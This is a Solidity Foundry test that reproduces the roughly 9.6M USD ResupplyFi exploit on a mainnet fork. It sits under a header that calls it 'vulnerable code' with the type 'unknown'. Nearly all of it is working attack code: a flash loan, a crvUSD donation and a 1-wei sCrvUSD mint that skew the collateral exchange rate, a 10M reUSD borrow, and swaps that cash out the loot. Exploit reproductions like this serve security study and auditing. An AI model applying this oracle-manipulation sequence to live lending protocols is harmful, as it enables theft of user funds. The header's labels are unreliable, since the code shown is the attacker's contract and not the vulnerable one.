HIGH severity: ResupplyFi exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 9.6M USD Attacker : https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea Attack Contract : https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7 Created Attack Contract: https://etherscan.io/address/0x15

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";

// @KeyInfo - Total Lost : 9.6M USD
// Attacker : https://etherscan.io/address/0x6d9f6e900ac2ce6770fd9f04f98b7b0fc355e2ea
// Attack Contract : https://etherscan.io/address/0xf90da523a7c19a0a3d8d4606242c46f1ee459dc7
// Created Attack Contract: https://etherscan.io/address/0x151aA63dbb7C605E7b0a173Ab7375e1450E79238
// Vulnerable Contract : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6
// Attack Tx : https://etherscan.io/tx/0xffbbd492e0605a8bb6d490c3cd879e87ff60862b0684160d08fd5711e7a872d3

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6#code

// @Analysis
// Post-mortem : https://mirror.xyz/0x521CB9b35514E9c8a8a929C890bf1489F63B2C84/ygJ1kh6satW9l_NDBM47V87CfaQbn2q0tWy_rtp76OI
// Twitter Guy : https://x.com/peckshield/status/1938061948647817647
// Hacking God : N/A

interface IERC20 {
    function approve(address, uint256) external;
    function balanceOf(
        address
    ) external view returns (uint256);
    function transfer(address, uint256) external;
}

interface ICurvePool {
    function exchange(int128, int128, uint256, uint256) external;
}

interface IsCRVUSD {
    function mint(
        uint256
    ) external;
    function approve(address, uint256) external;
    function balanceOf(
        address
    ) external view returns (uint256);
    function redeem(uint256, address, address) external;
}

interface IResupplyVault {
    function addCollateralVault(uint256, address) external;
    function borrow(uint256, uint256, address) external;
}

interface IUniswapV3Pool {
    function swap(address, bool, int256, uint160, bytes calldata) external;
}

interface IWETH {
    function balanceOf(
        address
    ) external view returns (uint256);
    function withdraw(
        uint256
    ) external;
}

interface IMorphoBlue {
    function flashLoan(address, uint256, bytes calldata) external;
}

contract ResupplyFi is BaseTestWithBalanceLog {
    // Token Addresses
    IERC20 private constant usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 private constant crvUsd = IERC20(0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E);
    IsCRVUSD private constant sCrvUsd = IsCRVUSD(0x0655977FEb2f289A4aB78af67BAB0d17aAb84367);
    IERC20 private constant reUsd = IERC20(0x57aB1E0003F623289CD798B1824Be09a793e4Bec);
    IWETH private constant weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    // Contract Addresses
    IMorphoBlue private constant morphoBlue = IMorphoBlue(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
    ICurvePool private constant curveUsdcCrvusdPool = ICurvePool(0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E);
    IsCRVUSD private constant sCrvUsdContract = IsCRVUSD(0x01144442fba7aDccB5C9DC9cF33dd009D50A9e1D);
    IResupplyVault private constant resupplyVault = IResupplyVault(0x6e90c85a495d54c6d7E1f3400FEF1f6e59f86bd6);
    ICurvePool private constant curveReusdPool = ICurvePool(0xc522A6606BBA746d7960404F22a3DB936B6F4F50);
    IUniswapV3Pool private constant uniswapV3Pool = IUniswapV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);

    address private constant crvUSDController = 0x89707721927d7aaeeee513797A8d6cBbD0e08f41;

    // Exploit Parameters
    uint256 private constant forkBlockNumber = 22_785_460;
    uint256 private constant flashLoanAmount = 4000 * 1e6; // 4,000 USDC
    uint256 private constant crvUsdTransferAmount = 2000 * 1e18; // 2,000 crvUSD
    uint256 private constant sCrvUsdMintAmount = 1;
    uint256 private constant borrowAmount = 10_000_000 * 1e18; // 10,000,000 reUSD
    uint256 private constant redeemAmount = 9_339_517.438774046 ether; // ~9,339.52 sCrvUsd
    uint256 private constant finalExchangeAmount = 9_813_732.715269934 ether; // ~9,813.73 crvUSD

    receive() external payable {}

    function setUp() public {
        vm.createSelectFork("mainnet", forkBlockNumber);
        fundingToken = address(usdc);
    }

    function testExploit() public balanceLog {
        usdc.approve(address(morphoBlue), type(uint256).max);
        morphoBlue.flashLoan(address(usdc), flashLoanAmount, hex"");
    }

    function onMorphoFlashLoan(uint256, bytes calldata) external {
        require(msg.sender == address(morphoBlue), "Caller is not MorphoBlue");
        _swapUsdcForCrvUsd();
        _manipulateOracles();
        _borrowAndSwapReUSD();
        _redeemAndFinalSwap();
    }

    function _swapUsdcForCrvUsd() internal {
        usdc.approve(address(curveUsdcCrvusdPool), type(uint256).max);
        curveUsdcCrvusdPool.exchange(0, 1, flashLoanAmount, 0);
    }

    function _manipulateOracles() internal {
        crvUsd.transfer(crvUSDController, crvUsdTransferAmount);
        crvUsd.approve(address(sCrvUsdContract), type(uint256).max);
        sCrvUsdContract.mint(sCrvUsdMintAmount);
    }

    function _borrowAndSwapReUSD() internal {
        sCrvUsdContract.approve(address(resupplyVault), type(uint256).max);
        resupplyVault.addCollateralVault(sCrvUsdMintAmount, address(this));
        resupplyVault.borrow(borrowAmount, 0, address(this));
        reUsd.approve(address(curveReusdPool), type(uint256).max);
        curveReusdPool.exchange(0, 1, reUsd.balanceOf(address(this)), 0);
    }

    function _redeemAndFinalSwap() internal {
        sCrvUsd.redeem(redeemAmount, address(this), address(this));
        crvUsd.approve(address(curveUsdcCrvusdPool), type(uint256).max);
        curveUsdcCrvusdPool.exchange(1, 0, finalExchangeAmount, 0);
    }
}


Vulnerability type: unknown